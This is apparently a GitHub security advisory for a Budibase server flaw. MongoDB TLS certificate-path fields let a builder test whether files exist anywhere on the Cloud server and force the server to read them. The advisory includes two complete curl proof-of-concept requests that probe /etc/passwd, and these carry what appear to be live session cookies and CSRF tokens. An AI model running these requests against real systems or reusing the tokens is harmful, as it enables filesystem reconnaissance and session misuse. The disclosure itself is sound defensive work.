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GHSA-PPR4-5F46-J9C6

Vulnerability from github – Published: 2026-07-24 21:16 – Updated: 2026-08-12 19:20
VLAI
Summary
Budibase: Server Filesystem Existence/Read Oracle via Builder-Controlled MongoDB tlsCertificateKeyFile
Details

Summary

When creating a MongoDB datasource, Budibase passes the tlsCertificateKeyFile and tlsCAFile fields straight to the MongoDB driver as server-side file paths. On Budibase Cloud a customer cannot place files on the server, so these fields only let a builder reference arbitrary absolute paths on the underlying multi-tenant server. When the datasource is verified, the driver performs a real filesystem read of that path, and the error differs by file state, turning /api/datasources/verify into an arbitrary-path existence/read oracle over the whole server filesystem.

Root Cause

packages/server/src/integrations/mongodb.ts passes config.tlsCertificateKeyFile / config.tlsCAFile directly to new MongoClient(config.connectionString, options) as filesystem paths, with no allow-list, no confinement to a certificates directory, and no rejection of absolute / .. paths.

POC

Reproduction — paste each line, press Enter

Line 1 (existing file — proves the file is READ):

curl -s -X POST "https://hasinocompany.budibase.app/api/datasources/verify" -H "Cookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZXNzaW9uSWQiOiJlNDYzZTM0Ni1hZmQ2LTQwNDEtODNmMS1hYmNlNzhjMmExN2QiLCJ1c2VySWQiOiJ1c19jMGY4NDE0NjAxYmQ0ZTk0YTJmMTEzMTAxYzVlNzZkNCIsImVtYWlsIjoiY3liZXJAaGFzaW5vc2VjLmxhdCIsImNzcmZUb2tlbiI6ImU5ZDJlZjQ4LTJiNmEtNDJhZC1hN2ViLTY1NzkzZDg3ZDdlYyIsInRlbmFudElkIjoiaGFzaW5vY29tcGFueSIsImlhdCI6MTc4NDAzNTU1NywiZXhwIjoxNzg0NjQwMzU3fQ.oaxPeSwQ571QDd7pPZZy-G0b4rpI6-wYQqcV2Urwlo8; budibase:auth.sig=exoCxnKfj6IDWg6z04bX4dUcPN0" -H "x-csrf-token: e9d2ef48-2b6a-42ad-a7eb-65793d87d7ec" -H "x-budibase-app-id: app_dev_hasinocompany_bcb6316e0d014f91939c812389012415" -H "Content-Type: application/json" -d '{"datasource":{"name":"probe","source":"MONGODB","type":"datasource","config":{"connectionString":"mongodb://127.0.0.1:27017/?tls=true","database":"x","tlsCertificateKeyFile":"/etc/passwd"}}}'

RESPONSE

{"connected":false,"error":"error:0480006C:PEM routines::no start line"}

Line 2 (missing file — path is reflected):

curl -s -X POST "https://hasinocompany.budibase.app/api/datasources/verify" -H "Cookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZXNzaW9uSWQiOiJlNDYzZTM0Ni1hZmQ2LTQwNDEtODNmMS1hYmNlNzhjMmExN2QiLCJ1c2VySWQiOiJ1c19jMGY4NDE0NjAxYmQ0ZTk0YTJmMTEzMTAxYzVlNzZkNCIsImVtYWlsIjoiY3liZXJAaGFzaW5vc2VjLmxhdCIsImNzcmZUb2tlbiI6ImU5ZDJlZjQ4LTJiNmEtNDJhZC1hN2ViLTY1NzkzZDg3ZDdlYyIsInRlbmFudElkIjoiaGFzaW5vY29tcGFueSIsImlhdCI6MTc4NDAzNTU1NywiZXhwIjoxNzg0NjQwMzU3fQ.oaxPeSwQ571QDd7pPZZy-G0b4rpI6-wYQqcV2Urwlo8; budibase:auth.sig=exoCxnKfj6IDWg6z04bX4dUcPN0" -H "x-csrf-token: e9d2ef48-2b6a-42ad-a7eb-65793d87d7ec" -H "x-budibase-app-id: app_dev_hasinocompany_bcb6316e0d014f91939c812389012415" -H "Content-Type: application/json" -d '{"datasource":{"name":"probe","source":"MONGODB","type":"datasource","config":{"connectionString":"mongodb://127.0.0.1:27017/?tls=true","database":"x","tlsCertificateKeyFile":"/nonexistent/pentest/xyz"}}}'

RESPONSE

{"connected":false,"error":"ENOENT: no such file or directory, open '/nonexistent/pentest/xyz'"}

Actual output

/etc/passwd               -> {"connected":false,"error":"error:0480006C:PEM routines::no start line"}          (EXISTS, was READ)
/nonexistent/pentest/xyz  -> {"connected":false,"error":"ENOENT: no such file or directory, open '/nonexistent/pentest/xyz'"}   (MISSING, path reflected)

Existing files return a "PEM routines" error (the file was read but is not PEM); missing files return ENOENT ... open '<path>' with the path echoed back. This confirms a real filesystem read at the attacker-chosen absolute path. Confirmed 3/3 separate runs.

Impact

Who / what is affected How
The underlying multi-tenant Cloud server Arbitrary-path existence/read oracle from a builder account
Server config / secret files, other tenants' paths Located by enumerating paths (exists vs missing)
PEM/certificate files on the server Content exfiltratable via mutual-TLS to an attacker MongoDB server (mechanism)

Recommended Fix

  1. On managed/Cloud, disallow tlsCertificateKeyFile / tlsCAFile as filesystem paths; accept PEM content and write it to a per-connection temp file under a fixed directory.
  2. Reject absolute and .. paths; confine any file reference to an allow-listed certificates directory.
  3. Route the MongoDB connection host through the SSRF blacklist, as the REST integration already does.
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@budibase/server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "3.38.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-73409"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-209"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-24T21:16:41Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\nWhen creating a MongoDB datasource, Budibase passes the `tlsCertificateKeyFile` and `tlsCAFile` fields straight to the MongoDB driver as server-side file paths. On Budibase Cloud a customer cannot place files on the server, so these fields only let a builder reference arbitrary absolute paths on the underlying multi-tenant server. When the datasource is verified, the driver performs a real filesystem read of that path, and the error differs by file state, turning `/api/datasources/verify` into an arbitrary-path existence/read oracle over the whole server filesystem.\n\n## Root Cause\n`packages/server/src/integrations/mongodb.ts` passes `config.tlsCertificateKeyFile` / `config.tlsCAFile` directly to `new MongoClient(config.connectionString, options)` as filesystem paths, with no allow-list, no confinement to a certificates directory, and no rejection of absolute / `..` paths.\n\nPOC \n## Reproduction \u2014 paste each line, press Enter\n\nLine 1 (existing file \u2014 proves the file is READ):\n```\ncurl -s -X POST \"https://hasinocompany.budibase.app/api/datasources/verify\" -H \"Cookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZXNzaW9uSWQiOiJlNDYzZTM0Ni1hZmQ2LTQwNDEtODNmMS1hYmNlNzhjMmExN2QiLCJ1c2VySWQiOiJ1c19jMGY4NDE0NjAxYmQ0ZTk0YTJmMTEzMTAxYzVlNzZkNCIsImVtYWlsIjoiY3liZXJAaGFzaW5vc2VjLmxhdCIsImNzcmZUb2tlbiI6ImU5ZDJlZjQ4LTJiNmEtNDJhZC1hN2ViLTY1NzkzZDg3ZDdlYyIsInRlbmFudElkIjoiaGFzaW5vY29tcGFueSIsImlhdCI6MTc4NDAzNTU1NywiZXhwIjoxNzg0NjQwMzU3fQ.oaxPeSwQ571QDd7pPZZy-G0b4rpI6-wYQqcV2Urwlo8; budibase:auth.sig=exoCxnKfj6IDWg6z04bX4dUcPN0\" -H \"x-csrf-token: e9d2ef48-2b6a-42ad-a7eb-65793d87d7ec\" -H \"x-budibase-app-id: app_dev_hasinocompany_bcb6316e0d014f91939c812389012415\" -H \"Content-Type: application/json\" -d \u0027{\"datasource\":{\"name\":\"probe\",\"source\":\"MONGODB\",\"type\":\"datasource\",\"config\":{\"connectionString\":\"mongodb://127.0.0.1:27017/?tls=true\",\"database\":\"x\",\"tlsCertificateKeyFile\":\"/etc/passwd\"}}}\u0027\n```\n\nRESPONSE\n\n{\"connected\":false,\"error\":\"error:0480006C:PEM routines::no start line\"} \n\n\n\nLine 2 (missing file \u2014 path is reflected):\n```\ncurl -s -X POST \"https://hasinocompany.budibase.app/api/datasources/verify\" -H \"Cookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZXNzaW9uSWQiOiJlNDYzZTM0Ni1hZmQ2LTQwNDEtODNmMS1hYmNlNzhjMmExN2QiLCJ1c2VySWQiOiJ1c19jMGY4NDE0NjAxYmQ0ZTk0YTJmMTEzMTAxYzVlNzZkNCIsImVtYWlsIjoiY3liZXJAaGFzaW5vc2VjLmxhdCIsImNzcmZUb2tlbiI6ImU5ZDJlZjQ4LTJiNmEtNDJhZC1hN2ViLTY1NzkzZDg3ZDdlYyIsInRlbmFudElkIjoiaGFzaW5vY29tcGFueSIsImlhdCI6MTc4NDAzNTU1NywiZXhwIjoxNzg0NjQwMzU3fQ.oaxPeSwQ571QDd7pPZZy-G0b4rpI6-wYQqcV2Urwlo8; budibase:auth.sig=exoCxnKfj6IDWg6z04bX4dUcPN0\" -H \"x-csrf-token: e9d2ef48-2b6a-42ad-a7eb-65793d87d7ec\" -H \"x-budibase-app-id: app_dev_hasinocompany_bcb6316e0d014f91939c812389012415\" -H \"Content-Type: application/json\" -d \u0027{\"datasource\":{\"name\":\"probe\",\"source\":\"MONGODB\",\"type\":\"datasource\",\"config\":{\"connectionString\":\"mongodb://127.0.0.1:27017/?tls=true\",\"database\":\"x\",\"tlsCertificateKeyFile\":\"/nonexistent/pentest/xyz\"}}}\u0027\n```\n\nRESPONSE\n\n{\"connected\":false,\"error\":\"ENOENT: no such file or directory, open \u0027/nonexistent/pentest/xyz\u0027\"}\n\n\n### Actual output\n```text\n/etc/passwd               -\u003e {\"connected\":false,\"error\":\"error:0480006C:PEM routines::no start line\"}          (EXISTS, was READ)\n/nonexistent/pentest/xyz  -\u003e {\"connected\":false,\"error\":\"ENOENT: no such file or directory, open \u0027/nonexistent/pentest/xyz\u0027\"}   (MISSING, path reflected)\n```\nExisting files return a \"PEM routines\" error (the file was read but is not PEM); missing files return `ENOENT ... open \u0027\u003cpath\u003e\u0027` with the path echoed back. This confirms a real filesystem read at the attacker-chosen absolute path. Confirmed 3/3 separate runs.\n\n\n\n## Impact\n| Who / what is affected | How |\n|---|---|\n| The underlying multi-tenant Cloud server | Arbitrary-path existence/read oracle from a builder account |\n| Server config / secret files, other tenants\u0027 paths | Located by enumerating paths (exists vs missing) |\n| PEM/certificate files on the server | Content exfiltratable via mutual-TLS to an attacker MongoDB server (mechanism) |\n\n## Recommended Fix\n1. On managed/Cloud, disallow `tlsCertificateKeyFile` / `tlsCAFile` as filesystem paths; accept PEM content and write it to a per-connection temp file under a fixed directory.\n2. Reject absolute and `..` paths; confine any file reference to an allow-listed certificates directory.\n3. Route the MongoDB connection host through the SSRF blacklist, as the REST integration already does.",
  "id": "GHSA-ppr4-5f46-j9c6",
  "modified": "2026-08-12T19:20:06Z",
  "published": "2026-07-24T21:16:41Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Budibase/budibase/security/advisories/GHSA-ppr4-5f46-j9c6"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Budibase/budibase/pull/19244"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Budibase/budibase/commit/5e19b935536d6d1be1f47100e43c6fb30917826e"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Budibase/budibase"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Budibase/budibase/releases/tag/3.40.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": " Budibase: Server Filesystem Existence/Read Oracle via Builder-Controlled MongoDB tlsCertificateKeyFile"
}



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